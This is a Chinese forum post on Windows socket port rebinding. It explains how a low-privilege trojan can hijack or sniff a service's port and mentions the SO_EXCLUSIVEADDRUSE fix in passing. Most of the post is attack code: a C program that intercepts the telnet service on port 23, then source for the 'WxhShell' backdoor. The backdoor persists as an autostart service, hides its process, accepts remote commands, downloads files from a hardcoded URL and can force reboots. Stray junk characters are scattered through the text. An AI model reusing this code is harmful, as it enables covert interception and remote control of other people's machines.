社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9187阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L;/#D>U(  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O$u;]cg  
fv$Y&_,5  
  saddr.sin_family = AF_INET; j b1OcI%  
 A]R7H1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^tX+<X  
/ U1VE|T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n4\6\0jq6  
R9&T0Qf  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 l=D E|:  
uXq?Z@af|f  
  这意味着什么?意味着可以进行如下的攻击: i@e.Uzn  
#<f}.P.Uc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `q* 0^}  
7iu?Q  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uW%7X2K  
^@l_K +T  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 f Z$<'(t  
@+~=h{jv<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  3S1V^C-eBx  
>SpXB:wx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x n)FE4  
q88p~Ccoa  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 h`+Gs{1qw  
IrQ8t!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Pd!;z=I  
F7a &-  
  #include yq+<pfaqvK  
  #include NHA 2 i  
  #include Gir_.yc/  
  #include    9\3%5B7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jENarB^As  
  int main() cd{3JGg B  
  { !+& NG&1  
  WORD wVersionRequested; h95C4jBE  
  DWORD ret; o_/C9[:  
  WSADATA wsaData; .vNfbYH(  
  BOOL val; ka{9{/dz3  
  SOCKADDR_IN saddr; 1Uz'= a  
  SOCKADDR_IN scaddr; !OWVOq8  
  int err; hKtOh  
  SOCKET s; 'KpCPOhfR  
  SOCKET sc; D *W+0  
  int caddsize; r4t|T^{sl  
  HANDLE mt; Z)'jn8?P  
  DWORD tid;   +A8S 6bA[=  
  wVersionRequested = MAKEWORD( 2, 2 ); d=WC1"  
  err = WSAStartup( wVersionRequested, &wsaData ); qyl~*r*  
  if ( err != 0 ) { ju0]~,  
  printf("error!WSAStartup failed!\n"); %8/Gsu;  
  return -1; %\N.m/5  
  } n>>hfxv(O!  
  saddr.sin_family = AF_INET; Hf+A52lrf  
   T'i9_V{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 toPA@V  
hor ok:{  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X +;Q=  
  saddr.sin_port = htons(23); Noz+\O\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Iu|G*~\  
  { a<tUpI$  
  printf("error!socket failed!\n"); OdgfvHDgW  
  return -1; Wd$N[|  
  } Cvm ZW$5Yo  
  val = TRUE; mkYM/*qyM&  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g*t.g@B<2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qMYR\4"$  
  { 9bgKu6-X  
  printf("error!setsockopt failed!\n"); ?# >|P-4  
  return -1; FMY r6/I  
  } oV ?tp4&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; efMv1>{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @)&b..c?_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]]o7ej  
i051qpj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N;A1e@bP  
  { rsBF\(3b~  
  ret=GetLastError(); qA9*t  
  printf("error!bind failed!\n"); 5{ #9b^  
  return -1; "A__z|sQ  
  } SAs'u"EB  
  listen(s,2); tnqW!F~  
  while(1) /r@P\_  
  { ./kmI#gaV  
  caddsize = sizeof(scaddr); >IfJ.g"  
  //接受连接请求 h 7kyz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Wr`=P,  
  if(sc!=INVALID_SOCKET) !IoD";Oi  
  { ':[+UUC@  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); pX6T7  
  if(mt==NULL) d(, -13  
  { ;knSn$  
  printf("Thread Creat Failed!\n"); *-Lnsi^7v  
  break; ,qiS;2(  
  } &gF{<$$  
  } S) V uT0  
  CloseHandle(mt); cgYMo{R3  
  } 9rB^)eV  
  closesocket(s); v7O{8K+  
  WSACleanup(); x0.&fCh%  
  return 0; PNT.9 *d  
  }   w|Zq5|[  
  DWORD WINAPI ClientThread(LPVOID lpParam) S7aSUt!  
  { $f1L<euH  
  SOCKET ss = (SOCKET)lpParam;  .^@+$}   
  SOCKET sc; WSDNTfpI  
  unsigned char buf[4096]; _<;#=l  
  SOCKADDR_IN saddr; dyWWgC%A  
  long num; ksDG8^9>]  
  DWORD val; ~SM2W%  
  DWORD ret; \'E_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a6WE,4T9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QI=SR  
  saddr.sin_family = AF_INET; rC_K L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7bsW7;C  
  saddr.sin_port = htons(23); =6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z&<Rx[  
  { _?kf9.  
  printf("error!socket failed!\n"); Tj0eW(<!s  
  return -1; Zu%_kpW  
  } &o4L;A#&  
  val = 100; _I{&5V~z  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $ }B"u;:SU  
  { H/)=  
  ret = GetLastError(); V2, .@j#  
  return -1; nkJ*$cT1o  
  } dmlh;Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fbw {)SZ  
  { ]Wd{4(b  
  ret = GetLastError(); 42z9N\ f  
  return -1; W\} VZY  
  } A*E4hop[  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,z%F="@b9  
  { G#dpSNV3|  
  printf("error!socket connect failed!\n"); bs+KcY:N]  
  closesocket(sc); DVTzN(gO*~  
  closesocket(ss); 4i~;Ql  
  return -1; &~E=T3  
  } i;|% hDNWA  
  while(1) C 2oll-kN  
  { ^D.B^BR  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !+>yCy$~_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #Q'i/|g   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 B]*&lRR  
  num = recv(ss,buf,4096,0); gmLw.|-  
  if(num>0) y]?$zbB  
  send(sc,buf,num,0); "g=ux^+X\  
  else if(num==0) gLpWfT29V  
  break; w_U5w  
  num = recv(sc,buf,4096,0); oR-_=U^  
  if(num>0) ]|[xY8 5}  
  send(ss,buf,num,0); |0qk  
  else if(num==0) saRB~[6I  
  break; H?'VQ=j  
  } "X]u fZ7  
  closesocket(ss); //LXbP3/  
  closesocket(sc); -3 W 4  
  return 0 ; 8L=QfKr  
  } -w@fd]g  
D ^ &!  
`J-"S<c?_  
========================================================== ' > \*  
n53} 79Uiz  
下边附上一个代码,,WXhSHELL DJn>. Gd  
V9<[v?.\  
========================================================== >_F& oA#  
yY"%6k,ZB  
#include "stdafx.h" #;mZ3[+i5  
Nc"h8p?  
#include <stdio.h> uO^{+=;A =  
#include <string.h> $%t{O[ (  
#include <windows.h> fi?[ e?|c@  
#include <winsock2.h> O-y"]Wrv  
#include <winsvc.h> ?QuFRl,ZJ  
#include <urlmon.h> D!Gm9Pa}  
G3U+BC23E  
#pragma comment (lib, "Ws2_32.lib") -y/?w*Cx  
#pragma comment (lib, "urlmon.lib") 6=')*_~/  
lA]u8+gXd  
#define MAX_USER   100 // 最大客户端连接数 M1ayAXO  
#define BUF_SOCK   200 // sock buffer sdO;vp^:b  
#define KEY_BUFF   255 // 输入 buffer ;3?M?E/$s  
R K'( {1  
#define REBOOT     0   // 重启 )(ma  
#define SHUTDOWN   1   // 关机 Gf%o|kX]  
s-C.+9  
#define DEF_PORT   5000 // 监听端口 M?\)&2f[Z  
" 3^6  
#define REG_LEN     16   // 注册表键长度 ($cu!$lY~  
#define SVC_LEN     80   // NT服务名长度 eq@ v2o7  
a"EQldm|d  
// 从dll定义API Eui;2P~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 71 A{"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d&ZwVF!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4\$Ze0tv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {(tE pr  
$PTedJ}*Y  
// wxhshell配置信息 qq?>ulu*W  
struct WSCFG { q7)$WXe2LM  
  int ws_port;         // 监听端口 A>4k4*aFm#  
  char ws_passstr[REG_LEN]; // 口令 l y%**iN  
  int ws_autoins;       // 安装标记, 1=yes 0=no +f7?L]wzic  
  char ws_regname[REG_LEN]; // 注册表键名 ivagS\Q  
  char ws_svcname[REG_LEN]; // 服务名 zm~~mz A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .i. |wY  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vj_oMmjKw  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k|lxJ^V#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?"C]h s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \E#r[9F{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ! \gRXP}  
oqY?#p/  
}; vc!S{4bN  
Wh<lmC50(  
// default Wxhshell configuration _Ng*K]0/E  
struct WSCFG wscfg={DEF_PORT, rxz3Mqg  
    "xuhuanlingzhe", <r\)hx0ov  
    1, siG?Sd_2  
    "Wxhshell", , m\0IgZdz  
    "Wxhshell", C )I"yeS.  
            "WxhShell Service", CTI(Kh+  
    "Wrsky Windows CmdShell Service", K8+b\k4E  
    "Please Input Your Password: ", ^y3\e  
  1, c]"B)I1L  
  "http://www.wrsky.com/wxhshell.exe", xUw\Y(!  
  "Wxhshell.exe" *K98z ?  
    }; tEEhSG)s%  
Eyn3Vv?v  
// 消息定义模块 ~::R+Lh(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fwnpmuJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {&;b0'!Tf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L.Lt9W2fi  
char *msg_ws_ext="\n\rExit."; pts}?   
char *msg_ws_end="\n\rQuit."; tFSdi. |G=  
char *msg_ws_boot="\n\rReboot..."; d,[KcX  
char *msg_ws_poff="\n\rShutdown..."; 9D| FqU |  
char *msg_ws_down="\n\rSave to "; R utW{wh  
5\'%zZ,l  
char *msg_ws_err="\n\rErr!"; +Va?wAnr  
char *msg_ws_ok="\n\rOK!"; g764wl  
WR-C_1-pT  
char ExeFile[MAX_PATH]; D4vmBVT  
int nUser = 0; 3Mcz9exY  
HANDLE handles[MAX_USER]; ?I0 i%nH  
int OsIsNt; SB'YV#--  
BJq}1mn*  
SERVICE_STATUS       serviceStatus; A8RT3OiXA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2l SM`cw  
c%U$qao=c+  
// 函数声明 6vjB; uS[  
int Install(void); N1Z8I:  
int Uninstall(void); \}Wkj~IX  
int DownloadFile(char *sURL, SOCKET wsh); 0!VLPA:  
int Boot(int flag); 2(rZ@Wl  
void HideProc(void); &B2c]GoW  
int GetOsVer(void); 7E5Dz7  
int Wxhshell(SOCKET wsl); T7T!v  
void TalkWithClient(void *cs); }ri*e2y)  
int CmdShell(SOCKET sock); r zmk-V  
int StartFromService(void); *~cs8<.!1  
int StartWxhshell(LPSTR lpCmdLine); e>>G4g  
_9@?Th&_e  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qN0#=X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y1'.m5E  
{UmCn>c  
// 数据结构和表定义 8k1 r|s@d  
SERVICE_TABLE_ENTRY DispatchTable[] = z\h+6FCD  
{ oto od  
{wscfg.ws_svcname, NTServiceMain}, "[?/I3 {E  
{NULL, NULL} ?xo,)``  
}; u20b+c4  
'=~y'nPG7  
// 自我安装 7gMtnwT  
int Install(void) p)^:~ ll  
{ Fp6Y Y  
  char svExeFile[MAX_PATH]; {l11WiqQH  
  HKEY key; m c+wRx  
  strcpy(svExeFile,ExeFile); g Oj5c  
cMWO_$  
// 如果是win9x系统,修改注册表设为自启动 qQcC[50  
if(!OsIsNt) { eq+o_R}CS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Wn.@bz6B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xI4I1"/  
  RegCloseKey(key); u/[]g+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j~E +6f \  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HV9SdJOf  
  RegCloseKey(key); ^'fKey`  
  return 0; oGVSy`ku  
    } -h@0 1  
  } ; BZM~ '  
} $i@EfujY  
else { D,n}Qf!GYk  
/8MQqZ C  
// 如果是NT以上系统,安装为系统服务 # VV.[ N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Doh|G:P]#  
if (schSCManager!=0) KYu(H[a  
{ Y+ Z9IiS7  
  SC_HANDLE schService = CreateService 0GYEt  
  ( !:<UgbiVv  
  schSCManager, M&ij[%i  
  wscfg.ws_svcname, &a=e=nR5  
  wscfg.ws_svcdisp, 7ILa H|eN  
  SERVICE_ALL_ACCESS, 3NN'E$"3  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J4}\V$ysN  
  SERVICE_AUTO_START, --twkD  
  SERVICE_ERROR_NORMAL, j?f <hQ  
  svExeFile, {&#~t4  
  NULL, ww($0A`ek  
  NULL, qZJ*J+  
  NULL, Z&w^9;30P  
  NULL, kN j3!u$  
  NULL -p.*<y  
  ); Jo3(bl %u  
  if (schService!=0) lZM3Q58?\  
  { dl6v <  
  CloseServiceHandle(schService); klJ[ {p  
  CloseServiceHandle(schSCManager); '98h<(@]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~{vdP=/WP  
  strcat(svExeFile,wscfg.ws_svcname); d `kM0C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HD)HCDTX  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); vNt>ESPB  
  RegCloseKey(key); =_=Z;#`cXk  
  return 0; HQ3`:l  
    } @7s,| \  
  } R2O.}!'  
  CloseServiceHandle(schSCManager); a9Fm Y`  
} x"8ey|@&,  
} pfZ,t<bE2  
K`,d$  
return 1; (bx\4Ws  
} *sB-scD  
B^_Chj*m  
// 自我卸载 %i-lx`U  
int Uninstall(void) " q^#39i?  
{ ES\Q5)t/fo  
  HKEY key; ]rg+n c3  
bk wa{V  
if(!OsIsNt) { .W :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a*':W%7  
  RegDeleteValue(key,wscfg.ws_regname); K@P`_yxN  
  RegCloseKey(key); 'n[+r}3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +qUkMx  
  RegDeleteValue(key,wscfg.ws_regname); I\upnEKKzZ  
  RegCloseKey(key); vA;F]epr!  
  return 0; [DxefYyI  
  } ZSRR lkU  
} M> jBm .  
} ls24ccOs  
else { t\pK`DM-[  
!p,hy `  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); So=nB} b[?  
if (schSCManager!=0)  oKYhE  
{ zNny\Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M7DLs;sD  
  if (schService!=0) tw/#ENo  
  { 6%.  
  if(DeleteService(schService)!=0) { .ts0LDk0f  
  CloseServiceHandle(schService); 4`6c28K0?  
  CloseServiceHandle(schSCManager); 8b(1ut{  
  return 0; !(*a+ur&i  
  } 'q92E(  
  CloseServiceHandle(schService); IE)"rTI)b  
  } *NW QmC~  
  CloseServiceHandle(schSCManager); ;4G\]%c)E{  
} Fi'M"^:r {  
} z]c,} Q  
Q)Iv_N/  
return 1; (9}eF)+O  
} nU&NopD+*G  
b6nZ55 h  
// 从指定url下载文件 $>r>0S#+\&  
int DownloadFile(char *sURL, SOCKET wsh) S\9t4Ki_'  
{ @0z0m;8  
  HRESULT hr; #P%1{l5m  
char seps[]= "/"; 1BMB?I  
char *token; Or+*q91j  
char *file; 5@czK*5  
char myURL[MAX_PATH]; )@]6=*%  
char myFILE[MAX_PATH]; u  m: 0y,  
$_RWd#Q(  
strcpy(myURL,sURL); "Ap$ Jl B  
  token=strtok(myURL,seps); [0u.}c;(  
  while(token!=NULL) kS+r"e .TM  
  { ({%oi h  
    file=token; "{A*(.  
  token=strtok(NULL,seps); ;8*XOC;[  
  } h `\$sT!Z  
U~:N^Sc  
GetCurrentDirectory(MAX_PATH,myFILE); U!&_mD# c  
strcat(myFILE, "\\"); UzgA26;  
strcat(myFILE, file); v /R[?H)  
  send(wsh,myFILE,strlen(myFILE),0); b0@>xT  
send(wsh,"...",3,0); b4Z`y8=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ot`LZ"H:  
  if(hr==S_OK) F qeV3 N  
return 0; Zc'|!pT _  
else /m `}f]u  
return 1; s\'y-UITi1  
\3Dk5cSDk+  
} <<=e9Lh  
*Y85DEA  
// 系统电源模块 )jyq{Jb  
int Boot(int flag) O^9CV*]!n  
{ ;rB6u_5"I.  
  HANDLE hToken; jR{-  
  TOKEN_PRIVILEGES tkp; Rx6l|'e  
TB7>s~)47E  
  if(OsIsNt) { gq'>6vOj  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _wf5%(~b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j G-  
    tkp.PrivilegeCount = 1; I|,pE**T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y5dD|]F|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]} 61vV  
if(flag==REBOOT) { No`|m0 :j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .sM<6;  
  return 0; #D+7TWDwNt  
} t})lr\  
else { EL^8zyg%%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ))7LE|1l  
  return 0; ;LCTCt`  
} LHh5 v"zjG  
  } vQ:wW',i  
  else { G' Blp  
if(flag==REBOOT) { E7Ibp79}N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nX0HT )}  
  return 0; {?E<](+0  
}  _e%dM  
else { v" }WP34  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G&q'#3ieC  
  return 0; +R-h ,$\=7  
} wfgqgPo!v  
} ?4XnEDA m  
pb!V|#u"  
return 1; qgoJ4Z*  
} hd+]Ok7"  
l)4O .*  
// win9x进程隐藏模块 M!1U@6n!=)  
void HideProc(void) eGm:)   
{ ]' Y|N l  
!p9)CjQ"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yuOS&+,P  
  if ( hKernel != NULL ) WRW WskP  
  { x^G'rF"nT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5%*w<6<_z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~ 9GOk;{~&  
    FreeLibrary(hKernel); L!t@-5~  
  } ,CP 5~4u  
zh\p  
return; :0$a.8Y\++  
} .evbE O5  
|EKu2We*  
// 获取操作系统版本 E<tK4?i"  
int GetOsVer(void) 0RUi\X4HI  
{ O] Y v   
  OSVERSIONINFO winfo; YEv%C| l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <$%X<sDkq  
  GetVersionEx(&winfo); -$(Jk<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jMM$d,7B  
  return 1; E@-ta):  
  else bLzs?eos  
  return 0; Mi+H#xx16  
} +#2)kg 9_  
Z$ p0&~   
// 客户端句柄模块 ,apNwkY  
int Wxhshell(SOCKET wsl) `K*b?:0lp  
{ B z^|SkEit  
  SOCKET wsh; q2hFOm  
  struct sockaddr_in client; %SrM|&[  
  DWORD myID; mpgO s  
-(i(02PX  
  while(nUser<MAX_USER) #2RiLht  
{ /kgeV4]zR  
  int nSize=sizeof(client); hfqqQ!,l!  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  ~*M$O&  
  if(wsh==INVALID_SOCKET) return 1; r> k-KdS  
"g>.{E5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hn.bau[  
if(handles[nUser]==0) $Az^Y0[D  
  closesocket(wsh); 'fx UV<K&  
else 9i5tVOhE  
  nUser++; K{@3\5<  
  } N|mJg[j@7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Xd<t5{bD!  
<F;v`h|+S  
  return 0; OoBCY-gj*  
} nOb?-rR  
ZE?f!ifp  
// 关闭 socket ~gE:-  
void CloseIt(SOCKET wsh) L[g0&b%%-  
{ ]}Z4P-"t  
closesocket(wsh); b&#DnZcf  
nUser--; F(5hmr  
ExitThread(0); r@U3sO#N  
} %c|UmKKi  
(Glr\q]jF\  
// 客户端请求句柄 =w$tvo/  
void TalkWithClient(void *cs) /J3ZL[o?Q  
{ r X'*|]  
JTU#vq:TY  
  SOCKET wsh=(SOCKET)cs; HDVW0QaMu  
  char pwd[SVC_LEN]; !345 %,  
  char cmd[KEY_BUFF]; &Lm-()wb  
char chr[1]; x YfD()w<I  
int i,j; +JRF0T  
yNg9X(U  
  while (nUser < MAX_USER) { $P z`$~  
,CvG 20>  
if(wscfg.ws_passstr) { <eN_1NTH_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'sh~,+g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o:S0*  
  //ZeroMemory(pwd,KEY_BUFF); C NsNZJ  
      i=0; m8R9{LC  
  while(i<SVC_LEN) { 6at1bQ$  
bWWXc[O2&(  
  // 设置超时 %FZ2xyI.  
  fd_set FdRead; {ZU1x C  
  struct timeval TimeOut; .IarkeCtb  
  FD_ZERO(&FdRead); 7O5`v(<9n>  
  FD_SET(wsh,&FdRead); 5U`ZbG  
  TimeOut.tv_sec=8; oF]cTAqhC.  
  TimeOut.tv_usec=0; |re}6#TgcT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `B/0iA  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i;/xK=L  
g.py+ ZFJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [XVEBA4GI  
  pwd=chr[0]; QaIjLc~W  
  if(chr[0]==0xd || chr[0]==0xa) { Fd]\txOXj  
  pwd=0; oA] KE"T  
  break; $ _j[2EU  
  } h4|i%,f  
  i++; ]z/Zq  
    } x5}'7,A  
v+ 7kU=  
  // 如果是非法用户,关闭 socket #:jb*d?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {\H/y c|@  
} 1CU>L[W)  
mw$r$C{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); aNcd` $0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S$TmZk=  
fyTAou6hI  
while(1) { , DdB^Ig<r  
E 99hlY~1:  
  ZeroMemory(cmd,KEY_BUFF); $YxBE`)d-  
(*}yjUYLZ  
      // 自动支持客户端 telnet标准   S$)*&46g  
  j=0; >Y7a4~ufko  
  while(j<KEY_BUFF) { ^d}gpin  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }KUd7[s  
  cmd[j]=chr[0]; GSclK|#t E  
  if(chr[0]==0xa || chr[0]==0xd) { q6Rr.A  
  cmd[j]=0; q<y#pL=k"*  
  break; o[oM8o<  
  } m!<i0thJ  
  j++; o#) {1<0vg  
    } *IgE)N >  
A?_=K  
  // 下载文件 ZkL8e  
  if(strstr(cmd,"http://")) { ]]7 mlQ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O[tvR:Nh  
  if(DownloadFile(cmd,wsh)) f-DL:@crU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P-F)%T[  
  else 3LDS Z1f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); --;@2:lg{  
  } &'cL%.  
  else { vEf4HZ&w  
\(226^|j  
    switch(cmd[0]) { 8fA_p}wp  
  mxor1P#|  
  // 帮助 !It`+0S b  
  case '?': { %CWPbk^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D\IjyZ-O  
    break; SJD@&m%?[  
  } ^ ,m< 9  
  // 安装 P96pm6H_;  
  case 'i': {  _zlqtO  
    if(Install()) zvABU+{jD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fYKOJ5f  
    else `:N# 'i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .MO\uh0N  
    break; " \I4u{zC  
    }  "KcA  
  // 卸载 RMMd#/A@}  
  case 'r': { W3`>8v1?o  
    if(Uninstall()) zJe#m|Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f{SB1M   
    else @`\VBW  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6'\6OsH  
    break; dJ"iEb|4  
    } hW{j\@R  
  // 显示 wxhshell 所在路径 *s@Qtgu  
  case 'p': { U qG .:@T  
    char svExeFile[MAX_PATH]; +`3!I  
    strcpy(svExeFile,"\n\r"); V_plq6z  
      strcat(svExeFile,ExeFile); P[s8JDqu  
        send(wsh,svExeFile,strlen(svExeFile),0); fw ,\DFHO  
    break; Aw&tP[N[  
    } * #TUGfwy  
  // 重启 .<kqJ|SVi  
  case 'b': { KNH1#30 K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v<Bynd-  
    if(Boot(REBOOT)) ECv)v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l5L.5 $N  
    else { E=){K  
    closesocket(wsh); UH3sH t  
